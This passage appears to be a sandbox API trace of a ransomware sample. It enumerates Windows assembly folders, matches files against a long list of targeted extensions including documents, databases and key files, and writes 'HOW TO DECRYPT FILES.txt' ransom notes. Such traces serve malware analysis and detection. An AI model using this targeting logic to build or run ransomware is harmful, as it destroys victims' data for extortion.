[0103.450] lstrlenA (lpString="*.png") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.php") returned 0 [0103.451] lstrlenA (lpString="*.php") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cs") returned 0 [0103.451] lstrlenA (lpString="*.cs") returned 4 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cpp") returned 0 [0103.451] lstrlenA (lpString="*.cpp") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.rar") returned 0 [0103.451] lstrlenA (lpString="*.rar") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.zip") returned 0 [0103.451] lstrlenA (lpString="*.zip") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.html") returned 0 [0103.451] lstrlenA (lpString="*.html") returned 6 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.htm") returned 0 [0103.451] lstrlenA (lpString="*.htm") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xlsx") returned 0 [0103.451] lstrlenA (lpString="*.xlsx") returned 6 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xls") returned 0 [0103.451] lstrlenA (lpString="*.xls") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mp4") returned 0 [0103.451] lstrlenA (lpString="*.mp4") returned 5 [0103.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ppt") returned 0 [0103.452] lstrlenA (lpString="*.ppt") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pptx") returned 0 [0103.452] lstrlenA (lpString="*.pptx") returned 6 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.doc") returned 0 [0103.452] lstrlenA (lpString="*.doc") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dot") returned 0 [0103.452] lstrlenA (lpString="*.dot") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.docx") returned 0 [0103.452] lstrlenA (lpString="*.docx") returned 6 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.7z") returned 0 [0103.452] lstrlenA (lpString="*.7z") returned 4 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tar") returned 0 [0103.452] lstrlenA (lpString="*.tar") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.bz2") returned 0 [0103.452] lstrlenA (lpString="*.bz2") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.gz") returned 0 [0103.452] lstrlenA (lpString="*.gz") returned 4 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mkv") returned 0 [0103.452] lstrlenA (lpString="*.mkv") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.eml") returned 0 [0103.452] lstrlenA (lpString="*.eml") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.msg") returned 0 [0103.452] lstrlenA (lpString="*.msg") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.edb") returned 0 [0103.452] lstrlenA (lpString="*.edb") returned 5 [0103.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.accdb") returned 0 [0103.453] lstrlenA (lpString="*.accdb") returned 7 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.odb") returned 0 [0103.453] lstrlenA (lpString="*.odb") returned 5 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.java") returned 0 [0103.453] lstrlenA (lpString="*.java") returned 6 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.asm") returned 0 [0103.453] lstrlenA (lpString="*.asm") returned 5 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pfx") returned 0 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pem") returned 0 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.p12") returned 0 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.gpg") returned 0 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vsd") returned 0 [0103.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.odg") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.raw") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.nef") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.svg") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.psd") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vmx") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vmdk") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vdi") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.lay6") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mpeg") returned 0 [0103.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.djvu") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tiff") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.backup") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pdf") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cert") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.docm") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xlsm") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dwg") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.nd") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tlg") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.lgb") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mov") returned 0 [0103.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xdw") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ods") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.wav") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mp3") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.aiff") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.flac") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.m4a") returned 0 [0103.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\90cd177df2fc13d88c401b6b53a121b8\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.csv") returned 0 [0103.456] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e005c39, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e005c39, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e005c39, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.456] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.457] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d3868a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d3aca03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d3aca03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="aa3fa7748881ce0969396eba0be3c6c3", cAlternateFileName="AA3FA7~1")) returned 1 [0103.457] lstrcmpA (lpString1=".", lpString2="aa3fa7748881ce0969396eba0be3c6c3") returned -1 [0103.457] lstrcmpA (lpString1="..", lpString2="aa3fa7748881ce0969396eba0be3c6c3") returned -1 [0103.457] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.457] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="aa3fa7748881ce0969396eba0be3c6c3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3" [0103.457] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d3868a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d3aca03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d3aca03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.457] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d3868a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d3aca03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d3aca03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.457] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.457] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d360742, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d360742, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d360742, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.458] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0103.458] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0103.458] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0103.458] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\*.*") returned="*.*" [0103.458] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\" [0103.458] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\") returned="" [0103.458] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\HOW TO DECRYPT FILES.txt" [0103.458] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\aa3fa7748881ce0969396eba0be3c6c3\\how to decrypt files.txt")) returned 0xffffffff [0103.458] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\aa3fa7748881ce0969396eba0be3c6c3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.461] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.463] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.463] CloseHandle (hObject=0x90) returned 1 [0103.463] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll" [0103.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ems") returned 0 [0103.463] lstrlenA (lpString="*.ems") returned 5 [0103.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.db") returned 0 [0103.463] lstrlenA (lpString="*.db") returned 4 [0103.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.dbf") returned 0 [0103.463] lstrlenA (lpString="*.dbf") returned 5 [0103.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.myox") returned 0 [0103.464] lstrlenA (lpString="*.myox") returned 6 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.myo") returned 0 [0103.464] lstrlenA (lpString="*.myo") returned 5 [0103.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\aa3fa7748881ce0969396eba0be3c6c3\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.qbw") returned 0 [0103.464] lstrlenA (lpString="*.qbw") returned 5 [0103.464] PathMatchSpecA 